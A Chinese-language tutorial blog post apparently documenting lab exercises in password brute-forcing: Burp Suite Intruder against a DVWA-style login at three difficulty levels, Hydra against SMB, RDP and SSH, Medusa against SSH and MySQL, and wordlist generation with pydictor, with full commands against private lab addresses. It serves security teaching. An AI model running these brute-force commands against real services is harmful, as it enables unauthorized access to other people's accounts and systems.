暴力破解笔记

1 暴力破解简介

暴力破解: 蛮力攻击,又称为穷举攻击,或暴力破解,将密码进行逐个尝试验证,直到尝试出真正的密码为止。

暴力破解是指采用反复试错的方法并希望最终猜对,以尝试破解密码或用户名或找到隐藏的网页,或者找到用于加密消息的密钥。

2 利用 Burpsuite 对 Web 应用进行暴力破解

2.1 实验界面

在暴力破解模块中输入用户名 admin,密码随之即可。先不要提交

开启代理

而后在暴力破解页面中提交。

2.2 抓包,点击 Send to intruder

点击 intruder---》Positions,在此界面中点击 Clear 把请求中的所有变量清除掉

我们需要对密码进行攻击,因此选中请求中的密码,点击 Add,把密码添加变量,表示只针对密码进行攻击。

2.3 Burpsuite 的 Intruder 模块

Inturder 模块可以将数据包里指定的参数设置成变量(变量也就是要准备攻击的目标),然后再利用字典文件去替换变量里的值,所以常用于自动化猜测或暴力破解过程中

Sniper 狙击手
攻击类型“Attack type”
Sniper:狙击手,可以指定多个变量同时进行破解,但只设置一个字典文件,将指定的变量挨个用字典内容进行替换。
Battering ram:攻城锤,可以指定多个变量,但仍只设置一个字典文件,将所有的变量一起用字典内容进行替换。
Ptichfork:草叉子,可以指定多个变量,但需要为每个变量分别设置一个字典文件,然后用对应的字典内容对变量同时进行替换。
Cluster bomb:集束炸弹,指定多个变量,并为每个变量分别设置一个字典文件,然后用字典内容组合对变量进行替换。
3载荷类型“Payload type”
Simple list:手动添加字典列表,也可以导入 Burpsuite 自带的字典,或者导入自定义的字典。
Runtime file:只能加载自定义的字典。
Numbers:设定一个数值范围,从范围内依次或随机取值进行测试。
Brute forcer:自己定义字符范围来生成字典文件。

payload type 选择 Runtime file,而指定密码字典并攻击

设置完成后,点击 开始攻击,查看暴力枚举结果:

得到密码:password,登录成功:

2.4 Low 级别

再选择第四种爆破(cluster bomb)的方式;

添加字典,开始字典爆破;

爆破成功

2.5 meduim 级别爆破

和 Low 级别爆破类似;前面的步骤与低级暴力破解步骤是一样的,不同的是,在点击 start attack 后,中级破解速度比初级要慢很多,因为有个 sleep 函数。破解完成之后也是会发现成功破解的字段长度是不同的,这就证明我们破解成功。

payload 选择 pitchfork

添加字典,开始字典爆破;

查看结果

2.6 high 级别爆破

我们查看 php 文件,发现增加了 user_token 参数,所以爆破要选择两个参数来进行。所以,我们这里不仅要爆破密码,还需要爆破用户令牌 user_token。

payload 选择 pitchfork

payload 1

Payload 2 设置为 递归;

线程设置为 1

Options

Grep-extract---add

Refetch reponse

复制 user_token

ok

粘贴到 payload options,开始爆破

爆破成功

3 hydra 工具在线破解密码

Hydra 对应的英文意思是九头蛇,它是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web 登录、数据库、SSH、FTP 等服务,支持 Linux、Windows、Mac 平台安装,其中 Kali Linux 中自带 Hydra。

3.1 Hydra 破解 Windows 文件共享密码

在 Windows 系统当中,默认会启动一些文件共享,比如 C$ 或 ADMIN$(管理共享),而这些共

享是使用 smb 协议,因此我可以针对 smb 协议进行破解。

注:开启文件共享

在系统上确认一下是否有开启共享:

net share 命令可以查看 windows 有那些共享

Windows 2012 中开启文件共享之后在 Kali 中扫描 445 端口确保目标主机开启 455 端口

┌──(root㉿xuegod52)-[~] └─# nmap -p- 192.168.1.15

通过 john 工具生成简单的弱口令密码字典
┌──(root㉿xuegod52)-[~]
└─# john --wordlist --rules --stdout > pass.txt
hydra 命令参数:
-l #指定单个用户名称
-L #指定用户名称字典
-p #指定单个密码
-P #指定密码字典
-s #指定端口
-vV #显示详细的执行过程
破解 smb 文件共享密码
┌──(root㉿xuegod52)-[~]
└─# hydra -l administrator -P pass.txt smb://192.168.1.15 -vV

通过密码进行远程访问目标主机共享资源

在物理机或其他 windows 主机中打开运行窗口,开始菜单中点击运行,或者使用快捷键 Win+R \\192.168.1.15\c$

身份认证

发现可以正常访问,尝试一下创建文件或上传文件

删除记录访问的密码认证信息

3.2 Hydra 破解 windows 远程桌面密码

Windows 远程桌面使用的 rdp 协议,默认端口是 3389,系统中默认是没有开启远程桌面服务的,我这里是开启了

暴力破解远程桌面密码

┌──(root㉿xuegod52)-[~/桌面]
└─# hydra -l administrator -P pass.txt rdp://192.168.1.15 -vV

然后,用破解到的密码,在物理机远程桌面进行连接,在运行中输入 mstsc

远程连接成功。

3.3 Hydra 工具破解 ssh 协议密码

使用 hydra 工具进行破解 root 密码

┌──(root㉿xuegod52)-[~/桌面]

└─# hydra -l root -P pass.txt -t 4 ssh://192.168.1.24 -e nsr -vV -t

#通过-t 参数来指定线程数默认是 16 会造成服务器拒绝连接。 -e #-e 表示提供了更多测试选项。nsr 后面的字母对应更多的测试方式。 nsr 参数: n #是尝试空密码登录 s #是将用户名作为密码登录 r #是将用户名反过来作为密码登录。 如:用户名是 root,那么会使用 toor 尝试破解

4 Medusa 工具在线破解密码

4.1 Medusa 简介

在 Kali 中 Medusa 旨在成为一个迅速,大规模并行,模块化,爆破登录。目标支持大部分允许远程
登录的服务。以下是 Medusa 项目一些主要功能:
1、基于线程的并行测试。暴力测试可以同时对多个主机,用户或密码执行。
2、灵活的用户输入。目标信息(主机/用户/密码)可以用多种方式指定。例如,每个项目可以是单个
条目或包含多个条目的文件。另外,组合文件格式允许用户改进其目标列表。
3、模块化设计。每个服务模块都以独立的.mod 文件形式存在。这意味着核心应用程序不需要修改以
扩展支持的暴力服务列表。
官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。
软件下载地址:https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz
用法:Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M
module [OPT]
Medusa [-h 主机| -H 文件] [-u 用户名| -U 文件] [-p 密码| -P 文件] [-C 文件] -M 模块[OPT]
medusa 命令选项:
-h [TEXT] #目标 IP
-H [FILE] #目标主机文件
-u [TEXT] #用户名
-U [FILE] #用户名文件
-p [TEXT] #密码
-P [FILE] #密码文件
-C [FILE] #组合条目文件
-O [FILE] #文件日志信息
-e [n/s/ns] #n 意为空密码,s 意为密码与用户名相同
-M [TEXT] #模块执行名称
-m [TEXT] #传递参数到模块
-d #显示所有的模块名称
-n [NUM] #使用非默认端口
-s #启用 SSL
-r [NUM] #重试间隔时间,默认为 3 秒
-t [NUM] #设定线程数量
-L #并行化,每个用户使用一个线程
-f #在任何主机上找到第一个账号/密码后,停止破解
-q #显示模块的使用信息
-v [NUM] #详细级别(0-6)
-w [NUM] #错误调试级别(0-10)
-V #显示版本
-Z [TEXT] #继续扫描上一次
-F #破解到一个正确的密码即退出

4.2 Medusa 工具破解 linux root 用户登录密码

┌──(root㉿xuegod52)-[~/桌面]
└─# medusa -M ssh -h 192.168.1.24 -e ns -F -u root -P pass.txt

4.3 Medusa 破解 Mysql root 用户登录密码

安装 MySQL:
[root@piloteer120 ~]# yum -y install mariadb-server
启动 MySQL:
[root@piloteer120 ~]# systemctl start mariadb
Mysql 授权 root 用户允许远程登录
[root@piloteer120 ~]# mysql -u root -ppiloteer
MariaDB [(none)]> grant all privileges on *.* to 'root'@'%'identified by 'root' with grant option;
MariaDB [(none)]> exit;
进行暴力破解
root@piloteer101:~# medusa -M mysql -h 192.168.1.24 -e ns -F -u root -P pass.txt

验证远程登录 mysql 数据库
root@piloteer101:~# mysql -uroot -proot -h192.168.1.24
MariaDB [(none)]> show databases;

5 字典工具 pydictor

5.1 pydictor 介绍

Pydictor 是字典构建工具,该工具提供了大量的特性,可以用来为几乎任何测试情况创建完美的字典。

5.2 pydictor 安装

┌──(root㉿xuegod52)-[~/桌面]
└─# git clone https://github.com/LandGrey/pydictor.git
正克隆到 'pydictor'...
remote: Enumerating objects: 1084, done.
remote: Counting objects: 100% (134/134), done.
remote: Compressing objects: 100% (50/50), done.
remote: Total 1084 (delta 89), reused 110 (delta 84), pack-reused 950
接收对象中: 100% (1084/1084), 23.63 MiB | 8.56 MiB/s, 完成.
处理 delta 中: 100% (673/673), 完成.
┌──(root㉿xuegod52)-[~/桌面]
└─# cd pydictor/                                                                         
┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# chmod +x pydictor.py

5.3 pydictor 生成字典

pydictor.py 参数说明:
-base 表示密码所使用的字符
-base 类型:
d digital [0 - 9] #数字
L lowercase letters [a - z] #小写字母
c capital letters [A - Z] #大写字母
-o #指定字典存放的位置

案例 1:生成全部由数字组成且长度为 3 到 6 的字典

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# python pydictor.py -base d --len 3 6

查看生成的字典:

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#vim results/base_210756.txt 

案例 2:使用数字、小写字母与大写字母 3 者组合的 2 到 3 位数的爆破字典,并把生成的字典存放在/opt/ pass1.txt

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -base dLc --len 2 3 -o /opt/pass1.txt

案例 3:使用特殊字符的自定义字符集字典

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -char '!@#$%^&*()_+* 0123456789' --len 3 5

案例 4:生成以 piloteer 开头,后面 4 位全为数字的字典

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -base d --len 4 4 --head piloteer -o /opt/pass3.txt

案例 5:将一个目录下多个字典合并去掉重复的记录

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# mkdir /tmp/pass
└─# python pydictor.py -base d --len 1 2 -o /tmp/pass/1.txt
└─#  python pydictor.py -base d --len 1 3 -o /tmp/pass/2.txt
└─#  echo 666666 >> /tmp/pass/1.txt
└─#  python pydictor.py -tool uniqbiner /tmp/pass/ #开始合并
└─#  vim /root/pydictor/results/uniqbiner_220300.txt

注:生成字典是非常耗时的一项工作,通常需要耗费数个小时。密码复杂度越高字典就越大耗时也会成倍的增加。

pydictor 字典工具拓展资料可参考:

pydictor/docs/doc/usage.md at master · LandGrey/pydictor · GitHub

相关推荐

  1. 暴力破解攻击与彩虹表攻击

    2024-03-27 15:44:04       36 阅读
  2. Linux防止暴力破解密码脚本

    2024-03-27 15:44:04       14 阅读
  3. 12-python编写暴力破解poc

    2024-03-27 15:44:04       13 阅读
  4. web安全暴力破解-SQL注入简介

    2024-03-27 15:44:04       9 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-27 15:44:04       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-27 15:44:04       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-27 15:44:04       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-27 15:44:04       20 阅读

热门阅读

  1. Python中模块的定义、用法

    2024-03-27 15:44:04       18 阅读
  2. C语言重难知识点

    2024-03-27 15:44:04       15 阅读
  3. Pandas基础指南:模块解析与应用

    2024-03-27 15:44:04       19 阅读
  4. MySQL【六】什么是视图

    2024-03-27 15:44:04       19 阅读
  5. Android 二维码相关(三)

    2024-03-27 15:44:04       17 阅读
  6. Android关于H5页面获取App原生本地资源的实现

    2024-03-27 15:44:04       14 阅读